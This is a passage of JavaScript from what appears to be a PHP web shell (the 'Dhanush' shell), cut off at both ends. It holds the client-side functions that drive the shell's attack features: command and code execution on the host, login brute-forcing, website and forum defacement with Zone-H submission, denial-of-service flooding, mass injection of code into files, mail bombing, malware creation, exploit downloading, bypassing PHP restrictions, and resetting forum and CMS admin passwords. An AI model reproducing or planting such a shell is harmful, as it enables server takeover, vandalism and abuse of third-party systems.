Array();\r\n\t\r\n\tfor (var i = 0, length = mytype.length; i < length; i++)\r\n\t{\r\n\t\tif (mytype[i].checked)\r\n\t\t\tmychoice[i] = mytype[i].value;\r\n\t}\r\n\t\r\n\tvar params = \"choice=\"+myfileaction+\"&chmode=\"+chmode+\"&actbox[]=\"+mychoice;\r\n\r\n\tdocument.getElementById(\"showdir\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showdir\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction editdata()\r\n{\r\n\tvar result = \"\", // initialize list\r\n       i,dbname,tablename;\r\n   // iterate through arguments\r\n   for (i = 1; i < arguments.length; i++)\r\n   {\r\n   \t  if(i%2 == 0)\r\n      \tresult += arguments[i]+'=';\r\n\t  else\r\n\t  \tresult += arguments[i]+'&';\r\n   }\r\n   result = result.slice(0, -1);\r\n\t\r\n\tdbname = arguments[3];\r\n\ttablename = arguments[5];\r\n\tvar result=result.replace(/dhanush_/g,\"\"); \r\n\tvar params = arguments[0]+\"=\"+result;\r\n\r\n\tdocument.getElementById(\"showsql\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tviewtables('listTables',dbname,tablename);\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction viewtables(action,dbname,tablename,rowid,arrdata,executequery,fieldname,page)\r\n{\r\n\tdocument.getElementById(\"showsql\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\t\tdocument.getElementById(\"showsql\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?action=\"+action+\"&dbname=\"+dbname+\"&tablename=\"+tablename+\"&\"+rowid+\"=\"+arrdata+\"&executemyquery=\"+executequery+\"&fieldname=\"+fieldname+\"&page=\"+page, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction mydatabase(server,username,password)\r\n{\r\n\tdocument.getElementById(\"showsql\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tmydatago();\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?executeit&server=\"+server+\"&username=\"+username+\"&password=\"+password, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction mydatago()\r\n{\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"datatable\").style.display = 'none';\r\n\t\t\tdocument.getElementById(\"showsql\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?mydata\", true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction bruteforce(prototype,serverport,login,dict)\r\n{\r\n\tvar mytype = document.getElementsByName('mytype');\r\n\tfor (var i = 0, length = mytype.length; i < length; i++)\r\n\t{\r\n\t\tif (mytype[i].checked)\r\n\t\t\tbreak;\r\n\t}\r\n\tvar getreverse = 0;\r\n\tif(document.getElementById('reverse').checked == true)\r\n\t\tgetreverse = 1;\r\n\telse\r\n\t\tgetreverse = 0;\r\n\t\r\n\tdocument.getElementById(\"showbrute\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showbrute\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?prototype=\"+prototype+\"&serverport=\"+serverport+\"&login=\"+login+\"&dict=\"+dict+\"&type=\"+mytype[i].value+\"&reverse=\"+getreverse, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction executemyfile(action,executepath,execute)\r\n{\r\n\tdocument.getElementById(\"showmaindata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmaindata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+action+\"&executepath=\"+executepath+\"&execute=\"+execute, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction maindata(myaction,dir)\r\n{\r\n\tdocument.getElementById(\"showmaindata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmaindata\").innerHTML=ajaxRequest.responseText;\r\n\t\t\tdocument.getElementById(\"showdir\").innerHTML=\"\";\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+myaction+\"=\"+myaction+\"&dir=\"+dir, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction manuallyscriptfn(passwd)\r\n{\r\n\tvar message = encodeURIComponent(passwd);\r\n\tvar params = \"scriptlocator=scriptlocator&passwd=\"+passwd;\r\n\tdocument.getElementById(\"showdata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showdata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction my404page(message)\r\n{\r\n\tvar message = encodeURIComponent(message);\r\n\tvar params = \"404page=404page&message=\"+message;\r\n\tdocument.getElementById(\"showdata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showdata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction executemyfn(executepath,executemycmd)\r\n{\r\n\tdocument.getElementById(\"showexecute\").innerHTML=\"Wait....\";\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showexecute\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?executepath=\"+executepath+\"&executemycmd=\"+executemycmd, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction zoneh(defacer,hackmode,reason,domain)\r\n{\r\n\tvar domain = encodeURIComponent(domain);\r\n\tvar params = \"SendNowToZoneH=SendNowToZoneH&defacer=\"+defacer+\"&hackmode=\"+hackmode+\"&reason=\"+reason+\"&domain=\"+domain;\r\n\tdocument.getElementById(\"showzone\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showzone\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction savemyfile(file,content)\r\n{\r\n\tvar content = encodeURIComponent(content);\r\n\tvar params = \"content=\"+content+\"&file=\"+file;\r\n\tdocument.getElementById(\"showmydata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmydata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction renamefun(file,to)\r\n{\r\n\tdocument.getElementById(\"showmydata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmydata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?renamemyfile&file=\"+file+\"&to=\"+to, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction changeperms(chmode,myfilename)\r\n{\r\n\tdocument.getElementById(\"showmydata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmydata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?chmode=\"+chmode+\"&myfilename=\"+myfilename, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction defacefun(deface)\r\n{\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\talert(ajaxRequest.responseText);\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?deface=\"+deface, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction fileaction(myaction,myfilepath)\r\n{\r\n\tdocument.getElementById(\"showmydata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmydata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+myaction+\"&myfilepath=\"+myfilepath, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction bypassfun(funct,functvalue,optiontype)\r\n{\r\n\tdocument.getElementById(\"showbyp\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showbyp\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?bypassit&\"+funct+\"=\"+functvalue+\"&optiontype=\"+optiontype, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction dos(target,ip,port,timeout,exTime,no0fBytes,multiplier)\r\n{\r\n\tdocument.getElementById(\"showdos\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showdos\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+target+\"&ip=\"+ip+\"&port=\"+port+\"&timeout=\"+timeout+\"&exTime=\"+exTime+\"&multiplier=\"+multiplier+\"&no0fBytes=\"+no0fBytes, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction createfile(filecreator,filecontent)\r\n{\r\n\tvar mm = filecreator.slice(0, filecreator.lastIndexOf(\"<?php echo addslashes(\$directorysperator); ?>\"));\r\n\tvar filecontent = encodeURIComponent(filecontent);\r\n\tvar params = \"filecontent=\"+filecontent+\"&filecreator=\"+filecreator;\r\n\tdocument.getElementById(\"showdir\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tgethome('home',mm);\r\n\t\t\tdocument.getElementById(\"showdir\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction createdir(create,createfolder)\r\n{\r\n\tdocument.getElementById(\"showdir\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showdir\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+create+\"=\"+createfolder, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction codeinsert(code)\r\n{\r\n\tvar code = encodeURIComponent(code);\r\n\tvar params = \"getcode=\"+code;\r\n\tdocument.getElementById(\"showcode\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showcode\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction getmydata(mydata)\r\n{\r\n\tdocument.getElementById(\"showmydata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmydata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+mydata, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction getdata(mydata,myfile)\r\n{\r\n\tdocument.getElementById(\"showdata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showdata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+mydata+\"&myfile=\"+myfile, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction getport(host,protocol,start,end)\r\n{\r\n\tdocument.getElementById(\"showports\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showports\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?host=\" + host + \"&protocol=\" + protocol, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction changeforumpassword(forumpass,f1,f2,f3,f4,forums,tableprefix,ipbuid,newipbpass,username,newjoomlapass,uid,uname,newpass)\r\n{\r\n\tdocument.getElementById(\"showchangepass\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showchangepass\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER['PHP_SELF']; ?>?forumpass&f1=\" + f1 + \"&f2=\" + f2 + \"&f3=\" + f3 + \"&f4=\" + f4 + \"&forums=\" + forums + \"&prefix=\" + tableprefix + \"&ipbuid=\" + ipbuid + \"&newipbpass=\" + newipbpass + \"&username=\" + username + \"&newjoomlapass=\" + newjoomlapass + \"&uid=\" + uid + \"&uname=\" + uname + \"&newpass=\" + newpass, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction forumdefacefn(index,f1,f2,f3,f4,defaceforum,tableprefix,siteurl,head,alll,f5)\r\n{\r\n\tvar index = encodeURIComponent(index);\r\n\tvar params = \"forumdeface=\"+defaceforum+\"&index=\" + index + \"&f1=\" + f1 + \"&f2=\" + f2 + \"&f3=\" + f3 + \"&f4=\" + f4 + \"&tableprefix=\"+tableprefix+\"&siteurl=\"+siteurl+\"&head=\"+head+\"&alll=\"+alll+\"&f5=\"+f5;\r\n\tdocument.getElementById(\"showdeface\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showdeface\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction codeinjector(pathtomass,mode,filetype,injectthis)\r\n{\r\n\tvar injectthis = encodeURIComponent(injectthis);\r\n\tvar params = \"pathtomass=\"+pathtomass+\"&mode=\" + mode + \"&filetype=\" + filetype + \"&injectthis=\" + injectthis;\r\n\tdocument.getElementById(\"showinject\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showinject\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction sendmail(mailfunction,to,subject,message,from,times,padding)\r\n{\r\n\tvar message = encodeURIComponent(message);\r\n\tif(mailfunction == \"massmailing\")\r\n\t\tvar params = \"mailfunction=\"+mailfunction+\"&to=\"+to+\"&subject=\"+subject+\"&from=\" + from + \"&message=\" + message;\r\n\telse if(mailfunction == \"dobombing\")\r\n\t\tvar params = \"mailfunction=\"+mailfunction+\"&to=\"+to+\"&subject=\"+subject+\"&times=\" + times + \"&padding=\" + padding + \"&message=\" + message;\r\n\tdocument.getElementById(\"showmail\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmail\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction execode(code)\r\n{\r\n\tvar intext = document.getElementById('intext').checked;\r\n\tvar message = encodeURIComponent(message);\r\n\tvar params = \"code=\"+code+\"&intext=\"+intext;\r\n\tdocument.getElementById(\"showresult\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showresult\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\r\n\tajaxRequest.open(\"POST\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>\", true);\r\n\tajaxRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n\tajaxRequest.send(params);\r\n}\r\nfunction malwarefun(malwork)\r\n{\r\n\tvar malpath = document.getElementById('createfile').value;\r\n\tdocument.getElementById(\"showmal\").innerHTML=\"<center><marquee scrollamount=4 width=150>Wait....</marquee></center>\";\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmal\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+malwork+\"&path=\"+malpath, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction getexploit(wurl,path,functiontype)\r\n{\r\n\tdocument.getElementById(\"showexp\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showexp\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?uploadurl&wurl=\"+wurl+\"&functiontype=\"+functiontype+\"&path=\"+path, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction showMsg(msg)\r\n{\r\n\tif(msg == 'smf')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"smf_\";\r\n\t\tdocument.getElementById('fid').style.display='block';\r\n\t\tdocument.getElementById('wpress').style.display='none';\r\n\t\tdocument.getElementById('joomla').style.display='none';\r\n\t}\r\n\tif(msg == 'mybb')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"mybb_\";\r\n\t\tdocument.getElementById('wpress').style.display='none';\r\n\t\tdocument.getElementById('joomla').style.display='none';\r\n\t\tdocument.getElementById('fid').style.display='block';\r\n\t}\r\n\tif(msg == 'ipb' || msg == 'vb')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"\";\r\n\t\tdocument.getElementById('wpress').style.display='none';\r\n\t\tdocument.getElementById('joomla').style.display='none';\r\n\t\tdocument.getElementById('fid').style.display='block';\r\n\t}\r\n\tif(msg == 'wp')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"wp_\";\r\n\t\tdocument.getElementById('wpress').style.display='block';\r\n\t\tdocument.getElementById('fid').style.display='none';\r\n\t\tdocument.getElementById('joomla').style.display='none';\r\n\t}\r\n\tif(msg == 'joomla')\r\n\t{\r\n\t\tdocument.getElementById('joomla').style.display='block';\r\n\t\tdocument.getElementById('tableprefix').value=\"jos_\";\r\n\t\tdocument.getElementById('wpress').style.display='none';\r\n\t\tdocument.getElementById('fid').style.display='none';\r\n\r\n\r\n\t}\r\n}\r\nfunction checkforum(msg)\r\n{\r\n\tif(msg == 'smf')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"smf_\";\r\n\t\tdocument.getElementById('smfipb').style.display='block';\r\n\t\tdocument.getElementById('myjoomla').style.display='none';\r\n\t\tdocument.getElementById('wordpres').style.display='none';\r\n\t}\r\n\tif(msg == 'phpbb')\r\n\t{\t\r\n\t\tdocument.getElementById('tableprefix').value=\"phpb_\";\r\n\t\tdocument.getElementById('myjoomla').style.display='none';\r\n\t\tdocument.getElementById('smfipb').style.display='block';\r\n\t\tdocument.getElementById('wordpres').style.display='none';\t\r\n\t}\r\n\tif(msg == 'mybb')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"mybb_\";\r\n\t\tdocument.getElementById('myjoomla').style.display='none';\r\n\t\tdocument.getElementById('smfipb').style.display='none';\r\n\t}\r\n\tif(msg == 'vb')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"\";\r\n\t\tdocument.getElementById('myjoomla').style.display='none';\r\n\t\tdocument.getElementById('smfipb').style.display='none';\r\n\t}\r\n\tif(msg == 'ipb')\r\n\t{\r\n\t\tdocument.getElementById('myjoomla').style.display='none';\r\n\t\tdocument.getElementById('smfipb').style.display='block';\r\n\t\tdocument.getElementById('tableprefix').value=\"\";\r\n\t\tdocument.getElementById('wordpres').style.display='none';\r\n\t\t\r\n\t}\r\n\tif(msg == 'wp')\r\n\t{\r\n\t\tdocument.getElementById('tableprefix').value=\"wp_\";\r\n\t\tdocument.getElementById('myjoomla').style.display='none';\r\n\t\tdocument.getElementById('smfipb').style.display='block';\r\n\t\tdocument.getElementById('wordpres').style.display='block';\r\n\t}\r\n\tif(msg == 